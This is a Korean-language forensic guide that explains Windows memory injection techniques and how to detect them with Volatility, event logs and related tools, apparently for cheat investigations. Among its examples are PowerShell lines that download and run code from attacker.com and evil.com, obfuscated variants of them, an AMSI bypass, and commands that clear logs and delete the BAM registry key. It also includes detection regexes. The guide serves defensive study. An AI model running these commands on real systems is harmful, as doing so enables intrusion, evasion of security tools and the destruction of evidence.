Memory Injection Guide
공격 기법 완전 분석
& 탐지 방법 가이드
Memory Injection은 악성 코드를 정상 프로세스의 메모리에 삽입해 실행하는 기법입니다. 디스크에 파일을 남기지 않기 때문에 .exe/.dll 파일 기반의 핵검사 방식으로는 탐지가 어렵습니다. 각 기법은 ⚔ 공격 기법과 🔍 탐지 방법으로 명확히 구분됩니다.
공격 기법을 이해하지 않으면 왜 그 흔적이 거기 남는지 모릅니다. 두 파트를 연결해서 이해하는 것이 핵심입니다.
A
공통 구조 이해
모든 Memory Injection 기법은 같은 계열의 Windows API를 호출합니다. 기법마다 순서나 방식이 달라도 이 흐름에서 벗어나지 않습니다.
A1. 공통 Syscall 흐름
| API 호출 | 하는 일 | 왜 탐지 포인트인가 |
|---|---|---|
| NtOpenProcess | 타겟 프로세스 핸들 획득 | 정상 프로그램이 타 프로세스 핸들을 요청하는 경우는 드묾 |
| NtAllocateVirtualMemory | 타겟 프로세스에 메모리 할당 | PAGE_EXECUTE_READWRITE 플래그가 핵심 지표 |
| NtWriteVirtualMemory | 할당한 메모리에 코드 삽입 | 타 프로세스 메모리 쓰기는 인젝션의 직접 증거 |
| NtCreateThreadEx / QueueUserAPC | 삽입된 코드 실행 | 타 프로세스에 스레드 생성 or APC 등록 |
A2. PAGE_EXECUTE_READWRITE — 핵심 플래그
메모리 영역에 읽기(R) + 쓰기(W) + 실행(X) 권한을 동시에 부여하는 플래그입니다. 정상 프로그램은 거의 사용하지 않습니다. 이 플래그를 가진 메모리 영역 = 인젝션된 코드가 존재할 가능성이 매우 높습니다.
volatility3
volatility3 -f mem.dmp windows.malfind # RWX 영역 + MZ 헤더 자동 탐지
A3. 기법별 개요 비교
| 기법 | 파일 흔적 | 새 스레드 | 탐지 난이도 | 핵심 특징 |
|---|---|---|---|---|
| DLL Injection | 있음 | 있음 | ⭐⭐ | 가장 기본. .dll 파일이 디스크에 남음. |
| Reflective DLL | 없음 | 있음 | ⭐⭐⭐⭐ | 디스크 없이 메모리에서만 DLL 로드. |
| PE Injection | 없음 | 있음 | ⭐⭐⭐⭐ | 타 프로세스 메모리에 PE 헤더째 삽입. |
| Process Hollowing | 없음 | 없음 | ⭐⭐⭐⭐ | 정상 프로세스 내용물 완전 교체. |
| APC Injection | 없음 | 없음 | ⭐⭐⭐⭐ | APC 큐에 악성 함수 등록. |
| Early Bird APC | 없음 | 없음 | ⭐⭐⭐⭐⭐ | AV 훅 설치 전에 실행 완료. |
| Thread Hijacking | 없음 | 없음 | ⭐⭐⭐⭐ | 실행 중 스레드 RIP 강제 변조. |
| Process Doppelgänging | 없음 | 없음 | ⭐⭐⭐⭐⭐ | NTFS 트랜잭션 악용. |
| Transacted Hollowing | 없음 | 없음 | ⭐⭐⭐⭐⭐ | Hollowing + Doppelgänging 결합. |
B
DLL Injection
가장 오래되고 기본적인 인젝션 기법. 악성 .dll 파일을 타겟 프로세스에 강제로 로드시킵니다. 파일이 디스크에 남기 때문에 탐지는 비교적 쉽습니다.
공격 기법
어떻게 동작하는가
▲
목표: 타겟 프로세스(예: minecraft.exe)가 악성 .dll 파일을 로드하도록 강제합니다.
- 1OpenProcess(PROCESS_ALL_ACCESS) → 타겟 프로세스 핸들 획득
- 2VirtualAllocEx → 타겟 프로세스 메모리에 .dll 경로 문자열 저장 공간 할당
- 3WriteProcessMemory → 할당한 공간에 악성 .dll 파일 경로 문자열 삽입
- 4GetProcAddress(LoadLibraryA) → LoadLibrary 함수 주소 획득
- 5CreateRemoteThread → 타겟 프로세스에서
LoadLibraryA(악성.dll)실행
핵심 포인트: 악성 .dll 파일이 반드시 디스크에 존재해야 합니다. 이것이 탐지의 가장 큰 약점입니다.
탐지 방법
어떻게 잡는가
▲
- ›USN Journal → .dll 파일 생성/삭제 기록 확인. Echo Journal에서 .dll 확장자 검색.
- ›BAM 로그 → 인젝터 .exe 파일의 실행 기록 및 타임라인 확인.
- ›Prefetch → 인젝터 .exe 실행 기록. WinPrefetchView로 연관 파일(.dll 포함) 확인.
- ›Everything + RedLotus Signature → NotSigned .dll 파일 탐지.
- ›System Informer → 프로세스의 Modules 탭에서 비정상 경로(.dll) 확인.
volatility3
volatility3 -f mem.dmp windows.dlllist --pid [PID] # 로드된 DLL 목록 + 경로
경로가 없거나 비정상 경로(Temp, AppData 등)의 DLL이 있으면 즉시 의심.
C
Reflective DLL Injection
일반 DLL Injection의 핵심 약점(디스크에 파일이 남는다)을 해결한 발전형 기법. .dll 파일을 디스크에 쓰지 않고 메모리에서 직접 로드합니다.
공격 기법어떻게 동작하는가▼
목표: 디스크에 .dll 파일을 전혀 쓰지 않고 메모리에서 직접 DLL을 로드합니다.
- 1공격자가 ReflectiveLoader 함수가 포함된 특수 제작 .dll을 준비
- 2VirtualAllocEx → 타겟 프로세스 메모리에 충분한 공간 할당 (RWX)
- 3WriteProcessMemory → .dll 파일 내용 전체를 할당한 메모리에 직접 복사
- 4CreateRemoteThread → ReflectiveLoader 함수 주소부터 실행 시작
- 5ReflectiveLoader가 스스로 메모리에서 DLL을 파싱하고 재배치(relocation) 처리
- 6DllMain 호출 → 악성 코드 실행. 디스크에는 아무 파일도 없음.
LoadLibrary를 호출하지 않음 → Windows가 DLL 로드를 인지하지 못함 → 프로세스의 모듈 목록에도 나타나지 않음.
탐지 방법어떻게 잡는가▼
- ›Volatility3 malfind → PAGE_EXECUTE_READWRITE 메모리 + MZ(4D 5A) 헤더 탐지.
- ›Volatility3 dlllist → 경로가 없는(N/A) DLL이 있으면 Reflective DLL 강력 의심.
- ›System Informer → 해당 프로세스의 Memory 탭 → MZ 헤더 Uncommitted 영역 확인.
- ›BAM/Prefetch → 인젝터 로더 프로그램의 실행 기록 확인.
volatility3
volatility3 -f mem.dmp windows.malfind volatility3 -f mem.dmp windows.dlllist --pid [PID]
디스크에 파일이 없으므로 USN Journal에서 .dll 생성 기록이 없는 것이 오히려 이 기법의 특징. 메모리 덤프 없이는 탐지가 매우 어려움.
D
Process Hollowing
정상 프로세스를 "껍데기"로 만들고 내부 코드를 악성 코드로 완전히 교체하는 기법. "RunPE"라고도 불립니다. 프로세스 이름만으로는 탐지 불가.
공격 기법어떻게 동작하는가▼
목표: svchost.exe 같은 정상 프로세스가 악성 코드를 실행하도록 완전히 교체합니다.
- 1CreateProcess(CREATE_SUSPENDED) → 정상 프로세스를 일시 정지 상태로 생성
- 2NtQueryProcessInformation → 프로세스 베이스 주소 획득
- 3NtUnmapViewOfSection → 원본 실행 이미지를 메모리에서 제거 (껍데기만 남김)
- 4VirtualAllocEx → 악성 PE 이미지 크기만큼 메모리 새로 할당
- 5WriteProcessMemory → 악성 PE 헤더 + 섹션(.text, .data 등) 삽입
- 6SetThreadContext → 메인 스레드의 RCX(진입점 레지스터)를 악성 코드 EntryPoint로 변경
- 7ResumeThread → 실행 재개. 이제 svchost.exe는 악성 코드를 실행하는 프로세스.
탐지 방법어떻게 잡는가▼
- ›Volatility3 malfind → 내부 코드가 교체된 경우 MZ 헤더가 메모리에서 발견됨.
- ›Volatility3 pslist + cmdline → 프로세스 ImageFileName과 실제 CommandLine 불일치 확인.
- ›System Informer → 프로세스 이미지 vs 실제 메모리 내용 비교 → Properties → Image 탭.
- ›pstree → 비정상 부모-자식 관계. (예: minecraft.exe → svchost.exe)
- ›이벤트 4688 → CREATE_SUSPENDED 생성 후 곧바로 ResumeThread 패턴 확인.
volatility3
volatility3 -f mem.dmp windows.malfind volatility3 -f mem.dmp windows.cmdline volatility3 -f mem.dmp windows.pstree
발견 핵심: 정상 경로에서 실행된 프로세스인데 메모리 내 PE 헤더 내용이 원본 파일과 다름.
E
PE Injection
이미 실행 중인 정상 프로세스의 메모리에 새로운 PE 이미지를 직접 삽입합니다. 원본 프로세스를 비우지 않고 공존하여 두 개의 실행 흐름이 동시에 존재합니다.
공격 기법어떻게 동작하는가▼
목표: 이미 실행 중인 정상 프로세스(explorer.exe 등)에 PE 이미지 전체를 삽입하고 실행합니다.
- 1OpenProcess → 이미 실행 중인 타겟 프로세스 핸들 획득
- 2VirtualAllocEx → 악성 PE 이미지 크기만큼 RWX 메모리 할당
- 3WriteProcessMemory → PE 헤더 + 섹션 전체 복사
- 4삽입된 PE의 재배치(relocation) 처리 및 Import 테이블 수정
- 5CreateRemoteThread → 삽입된 PE의 EntryPoint에서 새 스레드 시작
탐지 방법어떻게 잡는가▼
- ›Volatility3 malfind → RWX 영역에서 MZ 헤더(PE 시그니처) 탐지.
- ›PE-bear / PEStudio → 프로세스 메모리 덤프 후 삽입된 PE를 파일로 추출하여 분석.
- ›System Informer → Memory 탭 → MZ 헤더로 시작하는 Private 영역 확인.
- ›이벤트 4688 → CreateRemoteThread 호출 패턴 (프로세스 생성 없이 원격 스레드만 생성).
F
APC Injection
APC(Asynchronous Procedure Call) 메커니즘을 악용. 스레드가 Alertable 상태가 될 때 APC 큐에 등록된 악성 함수를 자동 실행. CreateRemoteThread 없이 동작합니다.
공격 기법어떻게 동작하는가▼
목표: 타겟 스레드가 Alertable 상태가 될 때 자동으로 악성 코드가 실행되도록 설정합니다.
- 1OpenProcess + OpenThread → 타겟 프로세스와 스레드 핸들 획득
- 2VirtualAllocEx → 타겟 프로세스에 RWX 메모리 할당
- 3WriteProcessMemory → 악성 shellcode/코드 삽입
- 4QueueUserAPC(악성함수주소, 타겟스레드) → APC 큐에 악성 함수 등록
- 5타겟 스레드가
SleepEx(ms, TRUE)같은 Alertable 함수를 호출하는 순간 자동 실행
Alertable 상태 함수: SleepEx, WaitForSingleObjectEx, WaitForMultipleObjectsEx, MsgWaitForMultipleObjectsEx, SignalObjectAndWait
탐지 방법어떻게 잡는가▼
- ›Volatility3 malfind → RWX 영역 탐지.
- ›System Informer → 프로세스의 스레드 목록에서 스레드 시작 주소가 알 수 없는 메모리 영역인지 확인.
- ›이벤트 4688 → 새 스레드 없이 타 프로세스 메모리에 쓰기가 발생한 흔적 확인.
APC Injection은 새 스레드가 생성되지 않아 탐지가 상대적으로 어려움. 메모리 덤프에서 RWX 영역이 핵심 탐지 포인트.
G
Early Bird APC Injection
APC Injection의 발전형. 프로세스 초기화 단계에서 APC를 등록하여 AV/EDR 훅이 설치되기 전에 악성 코드 실행을 완료합니다.
공격 기법어떻게 동작하는가▼
목표: AV/EDR 훅이 프로세스를 감시하기 시작하기 전에 악성 코드 실행을 완료합니다.
- 1CreateProcess(CREATE_SUSPENDED) → 새 프로세스를 일시 정지 상태로 생성
- 2프로세스는 일시 정지 상태. AV/EDR은 아직 이 프로세스에 훅을 설치하지 않은 상태.
- 3VirtualAllocEx + WriteProcessMemory → 악성 코드를 RWX 메모리에 삽입
- 4QueueUserAPC → 메인 스레드의 APC 큐에 악성 함수 등록
- 5ResumeThread → 프로세스 실행 재개
- 6프로세스 초기화(ntdll.dll LdrInitializeThunk) 과정에서 APC가 자동 실행
- 7AV/EDR 훅 설치 전에 악성 코드가 이미 실행 완료됨
탐지 방법어떻게 잡는가▼
- ›이벤트 4688 → CREATE_SUSPENDED로 생성된 프로세스 + ResumeThread 패턴 탐지.
- ›Volatility3 malfind → 프로세스 내 RWX 영역과 삽입된 코드 탐지.
- ›Volatility3 pstree → 비정상 부모-자식 관계 확인 (예: 게임 → 새로 생성된 정상 프로세스).
- ›Prefetch → 비정상적으로 짧게 실행되고 종료된 .exe 기록 확인.
Early Bird의 경우 실행이 워낙 빠르게 완료되므로, Prefetch에 실행 흔적이 남지만 메모리에는 흔적이 남지 않을 수 있음. 이벤트 로그 타임라인 분석이 중요.
H
Thread Hijacking
실행 중인 스레드의 RIP(명령 포인터)를 강제로 악성 코드 주소로 변경. 새 스레드를 전혀 생성하지 않아 CreateRemoteThread 기반 탐지를 완전히 우회합니다.
공격 기법어떻게 동작하는가▼
- 1OpenProcess + OpenThread → 타겟 프로세스/스레드 핸들 획득
- 2SuspendThread → 타겟 스레드 강제 일시 정지
- 3GetThreadContext → 현재 스레드 레지스터 상태(RIP 포함) 전체 저장
- 4VirtualAllocEx + WriteProcessMemory → 악성 코드 + 복귀 코드 삽입
- 5SetThreadContext(RIP = 악성코드주소) → 다음 실행 위치를 악성 코드로 변조
- 6ResumeThread → 스레드 재개. 악성 코드부터 실행.
- 7(정교한 버전) 악성 코드 실행 완료 후 저장해둔 원래 RIP로 복귀 + 모든 레지스터 복원됨
정교한 버전: 실행 후 원래 코드로 완벽 복귀하면, 피해 프로세스는 아무것도 모른 채 정상 동작을 계속. 포렌식적으로 가장 어려운 유형.
탐지 방법어떻게 잡는가▼
- ›Volatility3 malfind → RWX 메모리 + MZ 또는 shellcode 탐지.
- ›System Informer → 스레드 시작 주소(Start Address)가 알 수 없는 메모리 영역이면 의심.
- ›Volatility3 threads → 비정상 스레드 시작 주소 확인.
- ›이벤트 4688 → SuspendThread + SetThreadContext + ResumeThread 시퀀스 탐지.
volatility3
volatility3 -f mem.dmp windows.threads --pid [PID]
I
Process Doppelgänging
NTFS 트랜잭션(TxF) 기능을 악용하는 고급 기법. 트랜잭션 롤백으로 파일 시스템에 흔적을 남기지 않습니다. 2017년 Black Hat에서 최초 발표.
공격 기법어떻게 동작하는가▼
- 1CreateTransaction → NTFS 트랜잭션 시작
- 2CreateFileTransacted → 트랜잭션 내에서 임시 파일 생성
- 3WriteFile → 악성 PE 코드를 임시 파일에 씀 (트랜잭션 내부 → 디스크에 아직 안 쓰임)
- 4NtCreateSection(임시파일) → 이 파일로부터 메모리 섹션 생성
- 5RollbackTransaction → 트랜잭션 롤백. 임시 파일이 디스크에서 완전히 사라짐.
- 6NtCreateProcessEx(섹션) → 방금 만든 섹션으로부터 프로세스 생성
- 7프로세스가 실행되지만, 원본 파일은 디스크에 존재하지 않음
탐지 방법어떻게 잡는가▼
- ›Volatility3 handles → 섹션 기반 실행이므로 handles 분석 병행 필요.
- ›Volatility3 dlllist → 프로세스의 이미지 경로가 존재하지 않는 파일을 가리킴.
- ›이벤트 4688 → ImageFileName이 존재하지 않는 경로를 가리키면 의심.
탐지 핵심: 프로세스의 이미지 경로가 디스크에 실제로 존재하지 않는 파일을 가리킬 때. 정상 프로세스에서는 이런 경우가 없음.
J
Transacted Hollowing
Process Hollowing + Process Doppelgänging 결합. 현재 알려진 Memory Injection 기법 중 가장 탐지하기 어려운 유형입니다.
공격 기법어떻게 동작하는가▼
- 1Doppelgänging 방식으로 트랜잭션 내에서 정상 실행 파일 기반 섹션 생성
- 2RollbackTransaction → 트랜잭션 롤백. 파일 흔적 제거.
- 3정상 섹션으로 SUSPENDED 프로세스 생성 (겉모습은 정상 프로세스)
- 4Hollowing 방식으로 프로세스 메모리 내용을 악성 PE로 교체
- 5SetThreadContext + ResumeThread → 악성 코드 실행 시작
프로세스 생성 시점의 이미지는 정상(Doppelgänging 탐지 우회), 실제 메모리 내용은 악성(런타임에 교체). 두 가지 탐지 경로를 모두 차단.
탐지 방법어떻게 잡는가▼
- ›Volatility3 malfind → 메모리 교체가 이루어지므로 RWX 영역과 MZ 헤더 탐지 가능.
- ›프로세스 이미지 경로와 실제 메모리 내용의 PE 헤더 불일치 확인.
- ›Volatility3 handles → 트랜잭션 관련 핸들 흔적.
현재 알려진 기법 중 가장 탐지가 어려움. 실시간 메모리 분석(Volatility3 malfind)이 사실상 유일한 확실한 탐지 수단.
K
Shellcode Injection
위치 독립적(Position-Independent) 원시 기계어 코드를 직접 삽입합니다. PE 헤더 구조 없이 MZ 헤더 기반 탐지를 우회할 수 있습니다.
공격 기법어떻게 동작하는가▼
- 1OpenProcess → 타겟 프로세스 핸들 획득
- 2VirtualAllocEx(PAGE_EXECUTE_READWRITE) → 타겟 프로세스에 RWX 메모리 할당
- 3WriteProcessMemory → shellcode 바이트 배열을 할당한 메모리에 직접 복사
- 4실행 트리거 선택: CreateRemoteThread / Thread Hijacking / APC / 콜백 기반
엔트로피: Shellcode는 XOR 인코딩이나 암호화가 적용된 경우 높은 엔트로피 값(7.0 이상)을 가집니다. 이것이 탐지의 단서가 됩니다.
탐지 방법어떻게 잡는가▼
- ›Volatility3 vadinfo → VAD 분석. 파일 백업 없는(Private) 실행 권한 메모리 영역 전체 식별.
- ›System Informer → Memory 탭 → Private + Execute 권한 조합 영역 → hex viewer로 내용 확인. 높은 엔트로피 or 반복 XOR 패턴이 보이면 shellcode.
- ›YARA 룰 스캔 → 알려진 shellcode 패턴(반복 XOR, GetPC 패턴, 특정 syscall 시퀀스) 탐지.
volatility3
volatility3 -f mem.dmp windows.vadinfo --pid [PID] volatility3 -f mem.dmp windows.yarascan --yara-rules shellcode.yar
핵심: PE 헤더가 없으므로 MZ 기반 탐지만으로는 놓칠 수 있음. vadinfo로 RWX Private 영역을 전수 확인하는 것이 필수.
L
COM Hijacking
COM 객체의 레지스트리 항목을 변조하여 정상 COM 객체 대신 악성 DLL이 로드되도록 합니다. HKCU 하이브를 이용하면 관리자 권한 없이 영속성 확보가 가능합니다.
공격 기법어떻게 동작하는가▼
- 1자주 사용되는 COM 객체의 CLSID 식별 → explorer.exe, 시스템 서비스 등이 자동 로드하는 대상
- 2레지스트리 InprocServer32 키 변조:
HKEY_CLASSES_ROOT\CLSID\{CLSID}\InprocServer32 - 3또는 HKCU 하이브에 동일 키 생성 (관리자 권한 불필요):
HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32 - 4이후 COM 객체를 사용하는 정상 프로세스가 실행될 때 악성 DLL이 해당 프로세스 메모리에 자동 로드됨
탐지 방법어떻게 잡는가▼
- ›Autoruns64 → COM/ActiveX 탭에서 서명 없는(빨간색/노란색) CLSID 등록 항목 확인.
- ›레지스트리 확인 → HKCU\Software\Classes\CLSID\ 하위에 비정상적인 항목이 있으면 즉시 의심.
- ›RegistryExplorer → 삭제된 CLSID 항목 복구 분석. 핵검사 전 레지스트리 값을 지운 경우 흔적 확인.
- ›USN Journal → 악성 DLL 파일 생성 기록 확인.
M
DLL Hijacking & DLL Proxying
Windows의 DLL 검색 순서(Search Order)를 악용해 정상 프로그램이 스스로 악성 DLL을 로드하도록 유도합니다. DLL Proxying은 정상 기능을 포워딩하여 오류 없이 동작합니다.
DLL Hijacking — 공격 기법검색 순서 악용▼
Windows DLL 검색 순서: ① 실행 파일과 같은 폴더 → ② System32/SysWOW64 → ③ Windows 폴더 → ④ 현재 작업 디렉토리 → ⑤ PATH 경로들
- 1타겟 프로그램이 로드하는 DLL 이름 파악 → 예: version.dll, winmm.dll
- 2해당 DLL 이름과 동일한 악성 DLL 제작
- 3프로그램 실행 폴더(검색 1순위)에 악성 DLL 배치
- 4프로그램 실행 시 System32의 정상 DLL 대신 악성 DLL이 먼저 발견되어 로드됨
DLL Proxying — 공격 기법Export Forwarding으로 오류 없이 동작▼
- 1정상 DLL을 다른 이름으로 복사 → 예: version_orig.dll
- 2악성 DLL을 원래 이름으로 배치 → version.dll
- 3악성 DLL 내부에 "Export Forwarding" 설정 → 모든 정상 함수 호출을 version_orig.dll로 전달
- 4프로그램은 정상 동작 (실제 함수는 version_orig.dll에서 처리)
- 5악성 DLL은 DllMain에서 추가 악성 코드 실행
탐지 방법어떻게 잡는가▼
- ›System Informer → Modules 탭 → 게임 폴더에 있는 .dll 중 서명 없는 파일 확인.
- ›Everything + NotSigned → 게임 실행 폴더 내 서명 없는 .dll 파일 발견.
- ›USN Journal → 게임 폴더에 새로 생성된 .dll 파일 기록.
- ›PE-bear / PEStudio → 의심 DLL 분석 → Export 포워딩 테이블, Import 함수, 섹션 확인.
N
In-Memory .NET Assembly Loading
Assembly.Load()로 .NET 바이너리를 디스크에 전혀 저장하지 않고 메모리에서 직접 로드·실행합니다. PowerShell이라는 신뢰된 바이너리가 실행하므로 화이트리스트 우회.
공격 기법어떻게 동작하는가▼
PowerShell
# 1. 원격에서 .NET 어셈블리를 바이트 배열로 다운로드 $bytes = (New-Object Net.WebClient).DownloadData("https://attacker.com/payload.dll") # 2. Assembly.Load()로 바이트 배열을 메모리에 직접 로드 [System.Reflection.Assembly]::Load($bytes) # 3. Reflection으로 원하는 메서드 호출 및 실행 $asm.GetType("Namespace.Class").GetMethod("Execute").Invoke($null, $null)
탐지 방법어떻게 잡는가▼
- ›이벤트 4104 (ScriptBlock 로깅) → Assembly::Load 호출 패턴 탐지.
- ›PowerShell History 파일 → DownloadData + Assembly::Load 조합 기록.
%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt - ›Volatility3 ldrmodules → 표준 모듈 열거에서 숨겨진 .NET 어셈블리 탐지.
- ›AMSI 이벤트 갑자기 중단 → Assembly.Load 실행 전 AMSI 패치 시도 가능성.
O
고급 탐지 기법 (심화)
Memory Injection 전반을 포괄적으로 탐지하는 심화 방법론입니다.
O1. Kernel Live Dump + bstrings.exe — 최고 탐지 방법
인젝터 프로세스가 종료된 이후에도 커널 덤프에는 흔적이 잔존합니다. Memory Injection 탐지의 가장 강력한 방법입니다.
덤프 위치: %LOCALAPPDATA%\Microsoft\Windows\TaskManager\LiveKernelDumps\
bstrings.exe
bstrings.exe -f "C:\Path\LiveKernelDump.DMP" ^ --lr "(?i)(?:\b(?:powershell|cmd|wscript|cscript)\b|iwr|iex|invoke|encodedcommand|decoded|base64|github|pastebin|.exe|.bat|.vbs)" ^ -o ".\FilelessExecutionEvidence.txt"
| 패턴 | 의미 |
|---|---|
| powershell, cmd, wscript, cscript | 스크립트 인터프리터 실행 흔적 |
| iwr, iex, invoke | 원격 다운로드/실행 명령어 (PowerShell) |
| encodedcommand, decoded, base64 | 인코딩된 페이로드 흔적 |
| github, pastebin | 페이로드 호스팅에 자주 사용되는 사이트 |
| .exe, .bat, .vbs | 로더가 실행한 파일 경로 흔적 |
O2. Hayabusa — 이벤트 로그 분석
Windows 이벤트 로그(.evtx)를 Sigma 룰 기반으로 분석하는 오픈소스 도구. 분석 대상: C:\Windows\System32\winevt\Logs
| 키워드 / 패턴 | 의미 |
|---|---|
| iwr, iex, invoke-expression | PowerShell 원격 실행/다운로드 |
| encodedcommand, encode, decoded | 인코딩 명령 사용 |
| github, pastebin | 페이로드 원격 호스팅 |
| -nop, -w hidden | PowerShell 창 숨김 및 프로파일 제거 |
| WmiPrvSE.exe | WMI 기반 원격 실행 |
| mshta.exe, regsvr32.exe + URL | LOLBAS 기반 원격 실행 |
이벤트 로그가 삭제된 경우 →
wevtutil cl Security 같은 이벤트 로그 삭제 명령 자체가 이벤트 1102로 기록됨.O3. YARA 룰 스캔
volatility3 / velociraptor
# Volatility3 — 메모리 덤프 스캔 volatility3 -f mem.dmp windows.yarascan --yara-rules shellcode.yar # Velociraptor — 라이브 프로세스 직접 스캔 (덤프 불필요) SELECT * FROM yara(rules=YaraRules, accessor="process")
O4. Volatility3 추가 플러그인
| 플러그인 | 용도 | 언제 사용하는가 |
|---|---|---|
| windows.vadinfo | VAD 트리 분석. 메모리 영역별 권한(RWX 등)과 타입 확인. | Shellcode처럼 MZ 헤더 없는 RWX 영역 탐지 |
| windows.ldrmodules | PEB의 3가지 모듈 리스트 교차 비교. 숨겨진 DLL 탐지. | Reflective DLL이 모듈 목록에서 숨겨진 경우 |
| windows.memdump | 특정 프로세스 메모리 영역을 파일로 추출. | malfind 결과를 오프라인 역분석할 때 |
| windows.hollowfind | Process Hollowing 전용. PEB과 실제 메모리 내용 불일치 탐지. | Hollowing 전용 플러그인 |
| windows.psxview | 여러 방법으로 프로세스 목록 교차 확인. 숨겨진 프로세스 탐지. | DKOM 등 프로세스 은폐 확인 |
O5. Process Hollowing — Prefetch 이상 현상
Hollowing 발생 시 WinPrefetchView에서 "Executable Path" 필드가 비어있거나 누락됩니다. 원본 이미지가 언매핑되어 Prefetch가 실행 경로를 제대로 기록하지 못하기 때문입니다.
P
스크립트 난독화 — 실제 패턴
탐지 도구의 문자열 탐지와 수동 분석을 동시에 무력화합니다. 이 패턴을 모르면 PS History나 이벤트 로그에서 발견해도 무엇인지 알아볼 수 없습니다.
P1. Base64 인코딩가장 흔한 난독화▼
PowerShell — 원본
IEX (New-Object Net.WebClient).DownloadString("http://evil.com/hack.ps1")
PowerShell — 인코딩 후 (PS History에서 발견되는 형태)
powershell -NoP -NonI -W Hidden -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBj...
PowerShell — 디코딩 (분석자용)
[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("SQBFAFgA…"))
P2. 문자열 치환 & 연결탐지 우회율이 더 높음▼
방법 1 — 문자열 연결
$a = "Inv"; $b = "oke-Exp"; $c = "ression" & ($a+$b+$c) (New-Object Net.WebClient).DownloadString("http://evil.com/c.ps1")
방법 2 — 역방향 & 치환
$cmd = "noisserpxE-ekovnI"[-1..-999] -join "" # "Invoke-Expression"을 뒤집어서 저장 & $cmd (wget "http://evil.com/p.ps1" -UseB)
P3. AMSI 우회 패턴AV 검사 인터페이스 무력화▼
PowerShell — AMSI 패치
# amsi.dll의 AmsiScanBuffer 함수를 ret 명령으로 패치 [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils") .GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)
이 코드 실행 후 AMSI가 비활성화됨 → 이후 모든 PS 명령이 AV 검사를 받지 않음.
탐지 방법 — 난독화 전반어떻게 잡는가▼
- ›PS History →
-Enc또는-EncodedCommand뒤에 긴 Base64 문자열 발견 시 즉시 디코딩. - ›이벤트 4104 ScriptBlock 로깅 → PS 엔진은 최종적으로 평문 코드를 실행해야 하므로 난독화 해제된 원본 명령이 기록됨.
- ›Kernel Live Dump + bstrings.exe → 문자열이 분산되어 있어도 커널 버퍼에서 원본 명령 흔적 발견 가능.
- ›Hayabusa → AMSI bypass 관련 Sigma 룰 자동 탐지. AMSI 이벤트 공백 +
AmsiUtils패턴.
Q
WMI 기반 실행 & 영속성
WMI 이벤트 구독을 이용하면 Run 키나 예약 작업 없이 조건 기반으로 코드를 자동 실행할 수 있습니다. Autoruns64에서 잡히지 않는 영속성 방법입니다.
공격 기법WMI 프로세스 실행 & 영속성▼
PowerShell — WMI 프로세스 실행
$wmi = [wmiclass]"Win32_Process" $wmi.Create("powershell -Enc [Base64payload]") # 프로세스 트리에서 부모가 WmiPrvSE.exe로 나타남
WMI 영속성 구성 요소 3가지:
- 1__EventFilter: 트리거 조건 (예: 부팅 후 60초)
- 2__EventConsumer: 실행할 명령 (예: PowerShell 악성 스크립트)
- 3__FilterToConsumerBinding: 필터-컨슈머 연결
탐지 방법어떻게 잡는가▼
- ›이벤트 5861 → 새 WMI 영속성 등록 이벤트. 의심스러운 EventConsumer CommandLine 확인.
- ›Autoruns64 WMI 탭 → 등록된 WMI 구독 항목 확인 (서명 없는 항목 즉시 의심).
PowerShell — WMI 구독 조회
Get-WMIObject -Namespace root\subscription -Class __EventFilter Get-WMIObject -Namespace root\subscription -Class __EventConsumer Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding
WMI 구독은 레지스트리나 파일 시스템이 아닌 WMI 저장소(
C:\Windows\System32\wbem\Repository)에 저장. USN Journal에는 기록되지 않음.R
PowerShell Remoting — 핵검사 중 외부 개입
핵검사 중 외부 공모자가 원격으로 연결해 증거를 실시간 삭제하는 시나리오에서 사용 가능합니다. 일반 PC에서 WinRM이 활성화되어 있을 이유가 없습니다.
공격 기법핵검사 중 외부 공모자 개입 시나리오▼
PowerShell
# 1. 피검사자가 WinRM을 사전 활성화 Enable-PSRemoting -Force # 2. 핵검사 진행 중 외부 공모자가 원격 연결 Enter-PSSession -ComputerName [IP] -Credential $cred # 3. 증거 삭제 실행 Remove-Item "C:\Users\$env:USERNAME\...\hack.jar" -Force wevtutil cl Security # 이벤트 로그 삭제 reg delete HKCU...\BAM /f # BAM 레지스트리 삭제
탐지 방법어떻게 잡는가▼
CMD
# WinRM 서비스 상태 확인 sc query WinRM # 열린 네트워크 연결 확인 (WinRM 기본 포트) netstat -ano | findstr ":5985" # WinRM HTTP netstat -ano | findstr ":5986" # WinRM HTTPS
일반 개인 사용자 PC에서 WinRM이 활성화되어 있을 이유가 없음. Running 상태 자체가 즉시 의심 사유.
S
전체 탐지 요약
모든 기법의 핵심 탐지 포인트와 보조 탐지 포인트를 한눈에 정리합니다.
| 기법 | 가장 강력한 탐지 포인트 | 보조 탐지 포인트 |
|---|---|---|
| DLL Injection | USN Journal — .dll 생성/삭제 기록 | BAM, Prefetch, Everything NotSigned |
| Reflective DLL | Volatility malfind — 경로 없는 DLL | System Informer Memory 탭, ldrmodules |
| Process Hollowing | pstree 비정상 부모-자식 + hollowfind | WinPrefetchView 실행경로 공백 |
| PE Injection | malfind — RWX + MZ 헤더 | System Informer Memory 탭 |
| APC Injection | malfind — RWX 영역 | 스레드 시작 주소 확인 |
| Early Bird APC | 이벤트 4688 — CREATE_SUSPENDED 패턴 | malfind, pstree |
| Thread Hijacking | 스레드 시작 주소 비정상 + malfind | 이벤트 4688 |
| Process Doppelgänging | 이미지 경로 → 존재하지 않는 파일 | handles 분석 |
| Transacted Hollowing | malfind + 이미지 내용 불일치 | handles 분석 |
| Shellcode Injection | vadinfo — RWX Private 영역 + YARA | System Informer hex viewer |
| COM Hijacking | Autoruns64 COM 탭 — 서명없는 CLSID | HKCU 레지스트리 확인 |
| DLL Hijacking | 게임 폴더 내 NotSigned .dll | System Informer Modules, USN Journal |
| DLL Proxying | NotSigned .dll + 크기 이상 | PE-bear Export 포워딩 분석 |
| .NET Assembly Load | 이벤트 4104 — Assembly::Load 패턴 | Volatility ldrmodules |
| Script 난독화 (Base64) | PS History -EncodedCommand 디코딩 | 이벤트 4104 ScriptBlock 로그 |
| AMSI 우회 | AMSI 이벤트 공백 + 4104 AmsiUtils 패턴 | Hayabusa 자동 탐지 |
| WMI 영속성 | 이벤트 5861 WMI 구독 등록 | Autoruns64 WMI 탭 |
